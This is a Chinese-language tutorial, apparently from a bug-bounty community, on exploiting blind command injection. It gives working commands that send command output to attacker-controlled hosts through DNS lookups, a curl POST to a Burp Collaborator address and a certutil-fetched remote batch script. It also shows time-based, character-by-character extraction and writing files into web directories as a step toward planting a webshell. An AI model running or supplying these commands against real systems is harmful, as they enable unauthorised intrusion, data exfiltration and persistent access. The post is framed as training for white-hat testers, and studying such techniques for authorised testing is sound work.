✎小课堂黑板报
Step 1 :判断系统方法
我们可以如何判断系统呢?同一命令通过不同参数进行判断,这里以Ping命令为例进行说明:
Ping命令在Linux和Win中的参数不同,在Linux中为-c参数,Win中为-n参数,效果可参考下图,这里需要提到,错误的参数会导致命令执行错误。
Win: ping-n3 baidu.com
Windows下的Ping命令每间隔一秒会发送一个ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令来近似地模拟等待指定秒数的效果。
其中 -n 后指定发送 ECHO_REQUEST 包的数量,也就是我们需要等待的秒数+ 1。需要+1 的原因是,第一个包不经过等待就会被发送,也可用choice /T5/CX/DX /N >null去延时。
特有命令判断(certutil)可参考如下方式及效果图:
![640.png](http://img1.jcloudcs.com/cms/ec6fd2b7-87e6-4b1c-8ff4-015909496cb820200508175633.png)
Step 2 通过dnslog回显任意命令结果
当系统判断完毕,我们可以通过dns来获取命令执行的结果,比较简单的例如whoami`.xxx.com,这里需要提到的是,一般情况下dns传递结果的长度是有限的,那么如何通过dns来获取较长的执行结果呢?笔者归纳了如下几种方式供大家参考:
(1) 利用格式化输出
命令如下:
(pwd;id;hostname)|xxd -ps -c 20|awk'{system("nslookup "NR"."$0".c.pproot.com")}'
(2) 通过curl传递结果
命令如下:
curl --connect-timeout 3 http://uushnjf9zjc7q5526djxushjbah19py.burpcollaborator.net/2/ -d data=$((id)|base64 -w 0)
(3) Win环境下通过certutil回显结果
具体思路:构造Payload下载远程bat脚本,执行bat, 发送执行命令的结果到vps监听端口
Bat脚本内容可参考如下内容:
whoami>c:/windows/temp/cmd.txt
for /f "delims=" %%a in (c:/windows/temp/cmd.txt)do (set line=%%a)
certutil -urlcache -split -fhttp://x.x.x.x:8888/?result=%line% "c:\\windows\\temp\\.res.txt"
将以上bat文件放在vps上,然后通过certutil下载到本地。
certutil-urlcache-split-f
http://x.x.x.x/remoteommand.bat"c:\\windows\\temp\\remote.bat"
然后在目标服务器执行bat脚本c:\\windows\\temp\\remote.bat成功获取结果:
Step 3 :通过延时判断命令执行结果
命令执行结果回显完毕,就需要通过延时来判断命令执行的结果。
Linux环境下我们有两种判断方法:
方法一:
使用base32编码命令的结果,再使用cut命令截取每一位,操作效果参考下图:
方法二:
使用if [ $(whoami|base32|cut -c 1) ="O" ];then echo 1;fi,有输出,
使用if [ $(whoami|base32|cut -c 1) = "q" ];then echo 1;fi,无输出。
这样操作就能够产生布尔关系,将echo1换成sleep 2,进而可以像盲注一样通过延时逐位获取结果。
这里较为详细的分析和脚本建议参考iceMatcha的博客,博客地址:https://icematcha.win/?p=532。
Step 4 :自动查找目录写文件
方法一:
find 命令:find . -type f -name 1.js
既然可以查找到js文件,那我们直接将写文件的拼接起来即可,将id,pwd,hostname的结果写在js/test1.txt中,命令find . -type f -name 1.js|while read f;do sh -c'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done,效果可参考下图:
这里需要提到的是,locate和find 不同, find 可以在硬盘找,locate只能在/var/lib/slocate资料库中找。一般情况下locate的速度会比find快,主要是因为locate并不是真的查找,而是查数据库,这里以查找js文件的效果为例,可参考下图:
在可以查找到js文件的条件下,我们可以直接将写的文件进行拼接,将id,pwd,hostname的结果写在js/test1.txt中,再访问xxx.com/js/test1.txt即可。
这里需要我们熟悉基本的命令编写及修改。locate /js/1.js|while read f;do sh -c 'id;pwd;ifconfig'>$(dirname $f)/test1.txt;done,命令效果参考下图:
既然linux环境下可以运行上述操作,那么Win环境下是否同样可以呢?
我们尝试下:
Win查找文件命令dir /x /s /b index.html
成功查找到文件目录,接着我们结合写入操作,命令:cmd /c "for/f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"
成功创建index.html.path.txt和index.html.ipconfig.txt文件,效果参见下图:
其中index.html.path.txt为路径:
index.html.ipconfig.txt为ifconfig执行的命令结果:
有了路径我们就可以直接写webshell,或通过修改ifconfig命令快捷写shell。
说明:笔者以上思路整理自补天众测漏洞审核过程中的实践经验和思考,特别鸣谢looxp9和带头老哥以及iceMatcha等朋友。
小伙伴们
针对本期内容和小课堂课程
如果您有哪些问题和建议,
欢迎更多白帽子们加入
小课堂开课 QQ 群:464465695